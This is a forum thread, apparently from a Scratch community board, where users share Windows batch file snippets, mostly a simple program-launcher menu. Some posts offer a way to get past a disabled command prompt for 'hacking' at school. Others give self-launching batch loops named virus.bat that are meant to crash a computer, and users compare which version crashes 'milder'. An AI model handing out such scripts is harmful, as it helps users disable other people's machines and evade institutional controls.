need help with bat files, you've come to the right place!
here is a basic code.
@echo off start iexplore.exe http://scratch.mit.edu/
.
bat is a abbreviated file extension, it means batch, which is DOS, or MS.
how to save a .bat file
1. of course, type the name and after that put a .bat
then under file types select "all files". then keep the encoding the same
2. click save.
3. done.
Offline
here is a simple menu:
@echo off cls :menu echo. echo +====================================================+ echo +=PRESS 1, 2 OR 3 to select your task, or 4 to EXIT.=+ echo +====================================================+ echo + + echo + 1 - Open Notepad + echo + 2 - Open Calculator + echo + 3 - Open Notepad and Calculator + echo + 4 - exit + echo +====================================================+ echo + Type 1, 2, 3, or 4 then press ENTER: + echo +====================================================+ set /P M= if %M%==1 goto note if %M%==2 goto calc if %M%==3 goto both if %M%==4 goto eof cls goto :menu :note cd %windir%\system32 start notepad.exe cls goto menu :calc cd %windir%\system32 start calc.exe cls goto menu :both cd %windir%\system32 start notepad.exe start calc.exe cls goto menu :eof exit
Offline
@echo off command @echo on
Amazingly useful for your hacking exploits in computer class, where they disable the command prompt(so you can't delete system32
lol
)
Offline
nathanprocks wrote:
here is a simple menu:
Code:
@echo off cls :menu echo. echo +====================================================+ echo +=PRESS 1, 2 OR 3 to select your task, or 4 to EXIT.=+ echo +====================================================+ echo + + echo + 1 - Open Notepad + echo + 2 - Open Calculator + echo + 3 - Open Notepad and Calculator + echo + 4 - exit + echo +====================================================+ echo + Type 1, 2, 3, or 4 then press ENTER: + echo +====================================================+ set /P M= if %M%==1 goto note if %M%==2 goto calc if %M%==3 goto both if %M%==4 goto eof cls goto :menu :note cd %windir%\system32 start notepad.exe cls goto menu :calc cd %windir%\system32 start calc.exe cls goto menu :both cd %windir%\system32 start notepad.exe start calc.exe cls goto menu :eof exit
wow i could not even make that without copy-paste :p
Offline
poemon1 wrote:
nathanprocks wrote:
here is a simple menu:
Code:
@echo off cls :menu echo. echo +====================================================+ echo +=PRESS 1, 2 OR 3 to select your task, or 4 to EXIT.=+ echo +====================================================+ echo + + echo + 1 - Open Notepad + echo + 2 - Open Calculator + echo + 3 - Open Notepad and Calculator + echo + 4 - exit + echo +====================================================+ echo + Type 1, 2, 3, or 4 then press ENTER: + echo +====================================================+ set /P M= if %M%==1 goto note if %M%==2 goto calc if %M%==3 goto both if %M%==4 goto eof cls goto :menu :note cd %windir%\system32 start notepad.exe cls goto menu :calc cd %windir%\system32 start calc.exe cls goto menu :both cd %windir%\system32 start notepad.exe start calc.exe cls goto menu :eof exitwow i could not even make that without copy-paste :p
It's pretty simple, just understand the code.
Also:
@echo off :loop open owjefowehfowieh.bat loop
It's been a long time since I've coded in .bat, but I believe that code acts as, basically, a computer hijacker, forcing you to shut down. Unless you have owjefowehfowieh.bat as a file. Alternatively, instead of opening a nonexistant file, make it open itself. It will still crash the computer, but it's milder(read:doesn't crash as badly).
Offline
helltank wrote:
poemon1 wrote:
nathanprocks wrote:
here is a simple menu:
Code:
@echo off cls :menu echo. echo +====================================================+ echo +=PRESS 1, 2 OR 3 to select your task, or 4 to EXIT.=+ echo +====================================================+ echo + + echo + 1 - Open Notepad + echo + 2 - Open Calculator + echo + 3 - Open Notepad and Calculator + echo + 4 - exit + echo +====================================================+ echo + Type 1, 2, 3, or 4 then press ENTER: + echo +====================================================+ set /P M= if %M%==1 goto note if %M%==2 goto calc if %M%==3 goto both if %M%==4 goto eof cls goto :menu :note cd %windir%\system32 start notepad.exe cls goto menu :calc cd %windir%\system32 start calc.exe cls goto menu :both cd %windir%\system32 start notepad.exe start calc.exe cls goto menu :eof exitwow i could not even make that without copy-paste :p
It's pretty simple, just understand the code.
Also:Code:
@echo off :loop open owjefowehfowieh.bat loopIt's been a long time since I've coded in .bat, but I believe that code acts as, basically, a computer hijacker, forcing you to shut down. Unless you have owjefowehfowieh.bat as a file. Alternatively, instead of opening a nonexistant file, make it open itself. It will still crash the computer, but it's milder(read:doesn't crash as badly).
i made a quiz game with green text and thats about how advanced i get into
Offline
Another way to make the computer crashing code up there is:
@echo off start virus.bat pause
And name the batch file "virus.bat". You could leave off the "@echo off" to make the file a little smaller.
For advanced code, look at SIMPL-DOS (link in my sig).
Offline
fire219 wrote:
Another way to make the computer crashing code up there is:
Code:
@echo off start virus.bat pauseAnd name the batch file "virus.bat". You could leave off the "@echo off" to make the file a little smaller.
For advanced code, look at SIMPL-DOS (link in my sig).
By the way, I added a sidenote to my loop.bat post. You might have missed it, but it states that this is another way to do it. Me and my hacker buddehs found it was milder, though. And it crashed less badly.
Offline